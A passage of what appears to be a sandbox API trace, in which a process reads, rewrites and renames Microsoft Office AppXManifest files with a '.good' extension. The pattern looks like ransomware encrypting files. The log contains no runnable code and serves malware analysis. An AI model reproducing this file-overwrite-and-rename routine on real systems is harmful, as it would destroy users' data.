Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3bcc2222, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5e92c)) returned 1 [0106.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0106.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0106.673] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0106.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0106.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3586ca0 | out: lpFileInformation=0x3586ca0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd)) returned 1 [0106.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0106.673] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0106.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0106.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.673] GetFileType (hFile=0x7b4) returned 0x1 [0106.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0106.673] GetFileType (hFile=0x7b4) returned 0x1 [0106.673] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x5fd [0106.673] ReadFile (in: hFile=0x7b4, lpBuffer=0x3587678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x3587678*, lpNumberOfBytesRead=0x1feed338*=0x5fd, lpOverlapped=0x0) returned 1 [0106.675] CloseHandle (hObject=0x7b4) returned 1 [0107.248] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0107.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0107.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.250] GetFileType (hFile=0x7dc) returned 0x1 [0107.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0107.250] GetFileType (hFile=0x7dc) returned 0x1 [0107.250] WriteFile (in: hFile=0x7dc, lpBuffer=0x3477818*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x3477818*, lpNumberOfBytesWritten=0x1feed248*=0x600, lpOverlapped=0x0) returned 1 [0107.251] CloseHandle (hObject=0x7dc) returned 1 [0107.251] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0107.251] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0107.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0107.251] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3c2459c0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x600)) returned 1 [0107.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0107.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0107.252] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0107.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0107.252] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3478b80 | out: lpFileInformation=0x3478b80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863)) returned 1 [0107.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0107.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0107.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0107.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0107.811] GetFileType (hFile=0x7b4) returned 0x1 [0107.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0107.811] GetFileType (hFile=0x7b4) returned 0x1 [0107.811] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0107.811] ReadFile (in: hFile=0x7b4, lpBuffer=0x368f1b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x368f1b8*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0107.812] CloseHandle (hObject=0x7b4) returned 1 [0107.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0107.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0107.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0107.813] GetFileType (hFile=0x7b4) returned 0x1 [0107.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0107.813] GetFileType (hFile=0x7b4) returned 0x1 [0107.813] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0xc3863 [0107.813] WriteFile (in: hFile=0x7b4, lpBuffer=0x36904e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x36904e8*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0107.814] CloseHandle (hObject=0x7b4) returned 1 [0107.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0107.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0107.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0107.815] GetFileType (hFile=0x7b4) returned 0x1 [0107.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0107.815] GetFileType (hFile=0x7b4) returned 0x1 [0107.815] ReadFile (in: hFile=0x7b4, lpBuffer=0x3692840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x3692840*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0108.480] CloseHandle (hObject=0x7b4) returned 1 [0108.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0108.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0108.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0108.481] GetFileType (hFile=0x7b4) returned 0x1 [0108.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0108.481] GetFileType (hFile=0x7b4) returned 0x1 [0108.481] WriteFile (in: hFile=0x7b4, lpBuffer=0x3436900*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x3436900*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0108.481] CloseHandle (hObject=0x7b4) returned 1 [0108.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0108.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0108.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0108.482] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3cdf2e9f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc3873)) returned 1 [0108.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0108.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0108.483] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0108.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0108.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x34a9070 | out: lpFileInformation=0x34a9070*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0108.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0108.483] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0108.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0108.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0108.483] GetFileType (hFile=0x7b4) returned 0x1 [0108.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0108.483] GetFileType (hFile=0x7b4) returned 0x1 [0108.483] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0108.483] ReadFile (in: hFile=0x7b4, lpBuffer=0x34a9938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x34a9938*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0108.966] CloseHandle (hObject=0x7b4) returned 1 [0108.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0108.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0108.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0108.998] GetFileType (hFile=0x7b4) returned 0x1 [0108.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0108.998] GetFileType (hFile=0x7b4) returned 0x1 [0108.998] WriteFile (in: hFile=0x7b4, lpBuffer=0x345c290*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x345c290*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0108.999] CloseHandle (hObject=0x7b4) returned 1 [0108.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0108.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0108.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0108.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3d2da48a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0108.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0108.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0109.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0109.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0109.000] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x345d5f8 | out: lpFileInformation=0x345d5f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381)) returned 1 [0109.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0109.839] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0109.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0109.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0109.843] GetFileType (hFile=0x20c) returned 0x1 [0109.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0109.843] GetFileType (hFile=0x20c) returned 0x1 [0109.843] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0109.843] ReadFile (in: hFile=0x20c, lpBuffer=0x338e750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x338e750*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0109.845] CloseHandle (hObject=0x20c) returned 1 [0109.845] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0109.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0109.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, 